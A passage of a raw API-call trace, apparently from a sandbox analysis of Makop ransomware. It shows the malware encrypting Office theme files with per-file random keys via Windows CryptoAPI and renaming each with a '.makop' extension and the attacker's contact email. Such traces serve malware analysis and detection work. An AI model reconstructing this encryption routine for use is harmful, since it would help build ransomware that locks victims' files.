lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.656] GetProcessHeap () returned 0x48a0000 [0157.656] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.656] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.656] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.656] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x2, lpOverlapped=0x0) returned 1 [0157.660] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.661] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.661] GetProcessHeap () returned 0x48a0000 [0157.661] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.661] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.661] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.661] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.661] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.661] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.661] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.662] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.662] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.662] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.662] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.662] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.662] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc97ce, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xc97ce, lpOverlapped=0x0) returned 1 [0157.691] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xc97d0, dwBufLen=0xc97d0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xc97d0) returned 1 [0157.699] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.699] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc97d0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xc97d0, lpOverlapped=0x0) returned 1 [0157.705] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.705] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xc98a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.705] SetEndOfFile (hFile=0x124) returned 1 [0157.711] GetProcessHeap () returned 0x48a0000 [0157.711] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.712] GetProcessHeap () returned 0x48a0000 [0157.712] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.712] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0157.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.714] CloseHandle (hObject=0x124) returned 1 [0157.714] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="SLIPST~1.THM")) returned 1 [0157.714] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx") returned 68 [0157.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.717] GetProcessHeap () returned 0x48a0000 [0157.717] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.717] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.717] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.717] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.721] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.721] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.721] GetProcessHeap () returned 0x48a0000 [0157.721] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.721] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.721] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.721] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.721] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.722] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.722] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.722] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.722] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.722] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.722] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.722] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.722] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x106e8, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x106e8, lpOverlapped=0x0) returned 1 [0157.725] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x106f0, dwBufLen=0x106f0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x106f0) returned 1 [0157.725] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.725] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x106f0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x106f0, lpOverlapped=0x0) returned 1 [0157.726] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.726] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x107c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.726] SetEndOfFile (hFile=0x124) returned 1 [0157.734] GetProcessHeap () returned 0x48a0000 [0157.734] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.734] GetProcessHeap () returned 0x48a0000 [0157.734] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.734] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0157.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.735] CloseHandle (hObject=0x124) returned 1 [0157.735] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="SOLSTI~1.THM")) returned 1 [0157.736] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx") returned 66 [0157.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.738] GetProcessHeap () returned 0x48a0000 [0157.738] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.738] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.738] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.738] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.738] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.738] GetProcessHeap () returned 0x48a0000 [0157.738] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.738] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.738] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.738] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.742] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.742] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.743] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.743] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.743] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.743] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.743] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.743] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.743] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x124a0, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x124a0, lpOverlapped=0x0) returned 1 [0157.749] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x124a0, dwBufLen=0x124a0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x124a0) returned 1 [0157.750] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.750] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x124a0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x124a0, lpOverlapped=0x0) returned 1 [0157.751] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.751] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.751] SetEndOfFile (hFile=0x124) returned 1 [0157.760] GetProcessHeap () returned 0x48a0000 [0157.760] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.760] GetProcessHeap () returned 0x48a0000 [0157.760] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.760] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0157.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.762] CloseHandle (hObject=0x124) returned 1 [0157.762] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="TECHNI~1.THM")) returned 1 [0157.763] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx") returned 65 [0157.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.765] GetProcessHeap () returned 0x48a0000 [0157.765] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.765] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.765] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.766] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xd, lpOverlapped=0x0) returned 1 [0157.771] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.771] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.771] GetProcessHeap () returned 0x48a0000 [0157.771] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.771] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.771] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.772] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.772] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.772] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.772] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.772] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.773] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.773] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.773] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.773] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.773] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10d83, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x10d83, lpOverlapped=0x0) returned 1 [0157.777] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x10d90, dwBufLen=0x10d90 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x10d90) returned 1 [0157.778] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.778] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10d90, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x10d90, lpOverlapped=0x0) returned 1 [0157.778] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.778] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.779] SetEndOfFile (hFile=0x124) returned 1 [0157.786] GetProcessHeap () returned 0x48a0000 [0157.786] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.787] GetProcessHeap () returned 0x48a0000 [0157.787] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.787] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0157.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.789] CloseHandle (hObject=0x124) returned 1 [0157.789] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="THATCH~1.THM")) returned 1 [0157.789] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx") returned 64 [0157.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.792] GetProcessHeap () returned 0x48a0000 [0157.792] RtlAllocateHeap (HeapHandle=0x48a0000, 